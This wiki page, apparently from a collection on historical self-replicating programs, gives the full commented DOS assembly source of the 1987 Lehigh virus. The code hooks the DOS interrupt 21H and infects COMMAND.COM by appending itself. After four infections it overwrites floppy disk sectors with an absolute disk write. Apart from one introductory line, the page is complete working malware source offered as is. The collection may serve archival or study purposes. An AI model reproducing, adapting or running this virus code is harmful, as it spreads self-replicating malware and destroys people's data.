Self-Replicating Automata/List/Lehigh
Introduction
editThe Lehigh virus, a COMMAND.COM infector, appeared around 1987.
Source Code
editpage 65,132 title The 'Lehigh' Virus CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:CODE ; Interrupt 21H routine BP0010: PUSH AX PUSH BX CMP AH,4BH ; Load function? JE BP0020 ; Branch if yes CMP AH,4EH ; Find file file? JE BP0020 ; Branch if yes JMP BP0170 ; Pass interrupt on ; Load or find file function BP0020: MOV BX,DX ; Get pathname pointer CMP BYTE PTR [BX+1],':' ; Is a disk specified? JNE BP0030 ; Branch if not MOV AL,[BX] ; Get disk letter JMP BP0040 ; Is there a COMMAND.COM on disk? BP0030: MOV AH,19H ; Get current disk function INT 44H ; DOS service (diverted INT 21H) ADD AL,'a' ; Convert to letter BP0040: PUSH DS PUSH CX PUSH DX PUSH DI PUSH CS ; \ Set DS to CS POP DS ; / MOV BX,OFFSET PATHNM ; Address pathname MOV [BX],AL ; Store disk letter in pathname MOV DX,BX ; Move pathname address MOV AX,3D02H ; Open handle (R/W) function INT 44H ; DOS service (diverted INT 21H) JNB BP0050 ; Branch if no error JMP BP0160 ; Restore registers and terminate ; Is COMMAND.COM infected? BP0050: MOV BX,AX ; Move file handle MOV AX,4202H ; Move file pointer function (EOF) XOR CX,CX ; \ No offset MOV DX,CX ; / INT 44H ; DOS service (diverted INT 21H) MOV DX,AX ; Copy file length MOV FILELN,AX ; Save file length SUB DX,2 ; Address last word of file MOV AX,4200H ; Move file pointer function (start) INT 44H ; DOS service (diverted INT 21H) MOV DX,OFFSET BUFFER ; Address read buffer MOV CX,2 ; Length to read MOV AH,3FH ; Read handle function INT 44H ; DOS service (diverted INT 21H) CMP WORD PTR BUFFER,65A9H ; Is file infected? JNE BP0060 ; Branch if not JMP BP0080 ; Infect COMMAND.COM BP0060: XOR DX,DX ; \ No offset MOV CX,DX ; / MOV AX,4200H ; Move file pointer function (start) INT 44H ; DOS service (diverted INT 21H) MOV CX,3 ; Length to read MOV DX,OFFSET BUFFER ; Address read buffer MOV DI,DX ; Copy address MOV AH,3FH ; Read handle function INT 44H ; DOS service (diverted INT 21H) MOV AX,[DI+1] ; Get displacement from initial jump ADD AX,0103H ; Convert to address for COM file MOV ENTPTR,AX ; Save file entry address MOV DX,FILELN ; Get file length SUB DX,OFFSET ENDADR ; Subtract length of virus DEC DX ; ...and one more MOV [DI],DX ; Put offset into jump instruction XOR CX,CX ; Clear high offset for move MOV AX,4200H ; Move file pointer function (start) INT 44H ; DOS service (diverted INT 21H) MOV AL,INFCNT ; Get infection count PUSH AX ; Preserve infection count MOV BYTE PTR INFCNT,0 ; Set infection count to zero MOV CX,OFFSET ENDADR ; \ Get length of virus INC CX ; / XOR DX,DX ; Address start of virus MOV AH,40H ; Write handle function INT 44H ; DOS service (diverted INT 21H) POP AX ; Recover infection count MOV INFCNT,AL ; Restore original infection count XOR CX,CX ; \ Address second byte of program MOV DX,1 ; / MOV AX,4200H ; Move file pointer function (start) INT 44H ; DOS service (diverted INT 21H) MOV AX,[DI] ; Get virus offset ADD AX,OFFSET BP0180 ; Add entry point SUB AX,3 ; Subtract length of jump instruction MOV [DI],AX ; Replace offset MOV DX,DI ; Address stored offset MOV CX,2 ; Length to write MOV AH,40H ; Write handle function INT 44H ; DOS service (diverted INT 21H) INC BYTE PTR INFCNT ; Increment infection count CMP BYTE PTR INFCNT,4 ; Have we reached target? JB BP0070 ; Branch if not JMP BP0110 ; Trash disk ; Is disk A or B? BP0070: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch CMP BYTE PTR CURDSK,2 ; Is current disk A or B? JB BP0080 ; Branch if yes MOV BYTE PTR N_AORB,1 ; Set on "not A or B" switch BP0080: MOV AH,3EH ; Close handle function INT 44H ; DOS service (diverted INT 21H) CMP BYTE PTR N_AORB,1 ; Is "not A or B" switch on? JE BP0090 ; Branch if yes JMP BP0160 ; Restore registers and terminate ; Disk not A or B BP0090: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch MOV BX,OFFSET PATHNM ; Address pathname MOV AL,CURDSK ; Get current disk ADD AL,'a' ; Convert to letter MOV [BX],AL ; Store letter in pathname MOV DX,BX ; Move pathname address MOV AX,3D02H ; Open handle (R/W) function INT 44H ; DOS service (diverted INT 21H) JNB BP0100 ; Branch if no error JMP BP0160 ; Restore registers and terminate ; Set infection count same as in current program BP0100: MOV BX,AX MOV AX,4202H ; Move file pointer function (EOF) XOR CX,CX ; \ No offset MOV DX,CX ; / INT 44H ; DOS service (diverted INT 21H) MOV DX,AX ; \ Address back to infection count SUB DX,7 ; / MOV AX,4200H ; Move file pointer function (start) INT 44H ; DOS service (diverted INT 21H) MOV CX,1 ; Length to write MOV DX,OFFSET INFCNT ; Address infection count MOV AH,40H ; Write handle function INT 44H ; DOS service (diverted INT 21H) MOV AH,3EH ; Close handle function INT 44H ; DOS service (diverted INT 21H) JMP BP0160 ; Restore registers and terminate ; Trash disk BP0110: MOV AL,CURDSK ; Get current disk CMP AL,2 ; Is disk A or B? JNB BP0150 ; Branch if not MOV AH,19H ; Get current disk function INT 44H ; DOS service (diverted INT 21H) MOV BX,OFFSET PATHNM ; Address pathname MOV DL,[BX] ; Get drive letter from pathname CMP DL,'A' ; Is drive letter 'A'? JE BP0120 ; Branch if yes CMP DL,'a' ; Is drive letter 'a'? JE BP0120 ; Branch if yes CMP DL,'b' ; Is drive letter 'b'? JE BP0130 ; Branch if yes CMP DL,'B' ; Is drive letter 'B'? JE BP0130 ; Branch if yes JMP BP0160 ; Restore registers and terminate ; Drive A BP0120: MOV DL,0 ; Set drive A JMP BP0140 ; Drive B BP0130: MOV DL,1 ; Set drive B BP0140: CMP AL,DL ; Is this the same as current? JNE BP0150 ; Branch if not JMP BP0160 ; Restore registers and terminate ; Write lump of BIOS to floppy disk BP0150: MOV SI,0FE00H ; \ Address BIOS (?) MOV DS,SI ; / MOV CX,0020H ; Write 32 sectors MOV DX,1 ; Start at sector one INT 26H ; Absolute disk write POPF MOV AH,9 ; Display string function MOV DX,1840H INT 44H ; DOS service (diverted INT 21H) BP0160: POP DI POP DX POP CX POP DS BP0170: POP BX POP AX JMP CS:INT_21 ; Branch to original Int 21H ; Original Int 21H vector INT_21 EQU THIS DWORD DW 138DH ; Int 21H offset DW 0295H ; Int 21H segment ; Entry point for infected program BP0180: CALL BP0190 ; \ Get current address BP0190: POP SI ; / SUB SI,3 ; Address back to BP0180 MOV BX,SI ; \ Address of virus start SUB BX,OFFSET BP0180 ; / PUSH BX ; Save address of virus start ADD BX,OFFSET FILELN ; Address file length MOV AH,19H ; Get current disk function INT 21H ; DOS service MOV [BX-1],AL ; Save current disk MOV AX,[BX] ; Get file length ADD AX,0100H ; Add PSP length MOV CL,4 ; \ Convert to paragraphs SHR AX,CL ; / INC AX ; Allow for remainder MOV BX,AX ; Copy paragraphs to keep MOV AH,4AH ; Set block function INT 21H ; DOS service JNB BP0200 ; Branch if no error JMP BP0220 ; Pass control to host ; Allocate memory for virus BP0200: MOV CL,4 ; Bits to move MOV DX,OFFSET ENDADR ; Length of virus SHR DX,CL ; Convert to paragraphs INC DX ; Allow for remainder MOV BX,DX ; Copy paragraphs for virus MOV AH,48H ; Allocate memory function INT 21H ; DOS service JNB BP0210 ; Branch if no error JMP BP0220 ; Pass control to host ; Install virus in memory BP0210: PUSH ES PUSH AX ; Preserve allocated memory segment MOV AX,3521H ; Get Int 21H function INT 21H ; DOS service MOV [SI-4],BX ; Save Int 21H offset MOV [SI-2],ES ; Save Int 21H segment POP ES ; Recover allocated memory segment PUSH SI SUB SI,OFFSET BP0180 ; Address back to start of virus XOR DI,DI ; Target start of new area MOV CX,OFFSET ENDADR ; \ Length of virus INC CX ; / REPZ MOVSB ; Copy virus to new area POP SI PUSH DS MOV DX,[SI-4] ; Get Int 21H offset MOV AX,[SI-2] ; \ Set DS to Int 21H segment MOV DS,AX ; / MOV AX,2544H ; Set Int 44H function INT 21H ; DOS service PUSH ES ; \ Set DS to ES POP DS ; / XOR DX,DX ; Interrupt 21H routine (BP0010) MOV AX,2521H ; Set Int 21H function INT 44H ; DOS service (diverted INT 21H) POP DS POP ES BP0220: POP BX PUSH ENTPTR[BX] ; Push COM file entry address RET ; ...and return to it PATHNM DB 'b:\command.com', 0 ; Pathname BUFFER DB 7FH, 58H, 0BH, 0, 0 ; Read buffer ENTPTR DW 0CB0H ; File entry address N_AORB DB 0 ; "Not A or B" switch INFCNT DB 0 ; Infection count DB 0 CURDSK DB 0 ; Current disk FILELN DW 5AAAH ; File length DW 65A9H ; Infection indicator ENDADR EQU $-1 CODE ENDS END